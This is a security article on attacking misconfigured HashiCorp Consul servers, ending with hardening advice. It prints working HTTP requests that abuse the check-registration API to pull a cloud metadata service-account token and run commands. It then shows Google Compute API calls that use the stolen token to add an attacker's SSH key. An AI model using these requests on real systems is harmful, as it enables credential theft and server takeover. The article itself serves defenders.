Consul is a software first released in 2014 for DNS-based service discovery. It provides distributed key-value storage, segmentation, and configuration. Registered services and nodes can be queried using a DNS interface or an HTTP interface. (Wikipedia)

Basically, Consul ensures the coherence of system components and the trust between them. Consul is at the core of your system. It is in all the elements so that they can interact with each other with minimal human intervention.

Thus, a threat to Consul automatically becomes a serious threat to the entire project where it is installed. And that is why it is important to be aware of these risks, so that you could protect yourself against them. 

An outdated system or its misconfiguration can expose the infrastructure to many threats. In this article, we will discuss, analyze, and give a detailed review on each of them. We will also talk about defense strategies.

Disclosure

An attacker can use public access to the system to obtain information about the infrastructure and its configuration.

Unauthorized access to network infrastructure

Consul API provides a method /agent/check/register (https://www.consul.io/api-docs/agent/check).

Its description:

This endpoint adds a new check to the local agent. Checks may be of script, HTTP, TCP, or TTL type. The agent is responsible for managing the status of the check and keeping the Catalog in sync.

The method allows the agent to make various network requests and even get the content of the response.

This is a sample Consul API network request to Google Cloud Metadata:


PUT /v1/agent/check/register HTTP/1.1
Host: redacted
X-Consul-Token: xxx
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/json
Content-Length: 535

{ "ID": "mem",
  "Name": "Memory utilizationdf333",
  "Notes": "qqqqqq",
  "DeregisterCriticalServiceAfter": "90m",
  "DockerContainerID": "f972c95ebf0e",
  "Shell": "/bin/bash",
  "HTTP": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/redacted/token",
  "Method": "GET",
  "Header": { "X-Google-Metadata-Request": ["true"] },
  "Body": "{\"check\":\"mem\"}",
  "TCP": "localhost:22",
  "Interval": "10s",
  "Timeout": "5s",
  "TLSSkipVerify": true}

The Google service responds with a token, which can be used to access the Google Cloud API.

Arbitrary code execution

The arbitrary code execution threat looks similar to the request above:


PUT /v1/agent/check/register HTTP/1.1
Host: redacted
X-Consul-Token: xxx
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/json
Content-Length: 173

{
    "ID": "mem",
     "Name": "Memory utilizationdf333",
    "Address":"redacted",
    "Port":80,
    "check":{"Args": ["cmd"],"interval":"10s","Timeout":"86400s"}
}

Bonus to the arbitrary code execution

What can attackers do with the obtained Google Cloud key? For example, they can get the data necessary for executing commands in Kubernetes, an open-source system for automating deployment, scaling, and management of containerized applications. It works with a range of container tools, including Docker and rkt, and may also support hardware virtualization (Wikipedia), to manage a cluster (see an example here: https://hackerone.com/reports/341876).

Or, having the necessary privileges, attackers can add their own public SSH key, gain access, and connect to the server.


GET /compute/v1/projects/[project]/zones/[zone]/instances/[instance] HTTP/1.1
Host: www.googleapis.com
User-Agent: curl/7.68.0
Accept: */*
Authorization: [redacted]
Content-Length: 0
Content-Type: application/json

The response shall contain a fingerprint for subsequent requests.


POST /compute/v1/projects/[project]/zones/[zone]/instances/[instance]/setMetadata HTTP/1.1
Host: www.googleapis.com
User-Agent: curl/7.68.0
Accept: */*
Authorization:Bearer [redacted]
Content-Length: 941
Content-Type: application/json

{"items": [ { "key": "sshKeys", "value": "YourLogin:redacted"  } ] ,"fingerprint": "NZWGa-Um6xw="}

Afterword

All attacks described above require the ACLsEnabled option to be set to false.

To execute arbitrary code, the EnableLocalScriptChecks and EnableRemoteScriptChecks options must be set to true.

The options descriptions are available at the following endpoint:

http://consul/v1/agent/self

How to protect yourself

1. Update Consul to the latest version.

2. Set the EnableLocalScriptChecks and EnableRemoteScriptChecks options to false.

3. Disable script checking on the Consul server.

4. Make sure Consul is on the local network and isn’t exposed.

5. Set the ACLsEnabled option to true.

Check out this page for more information: https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations 

Thus, we can conclude that relatively simple security measures are able to protect your system against extremely serious threats: from the exposure of internal system structure to the execution of a malicious code planted by an attacker on your servers.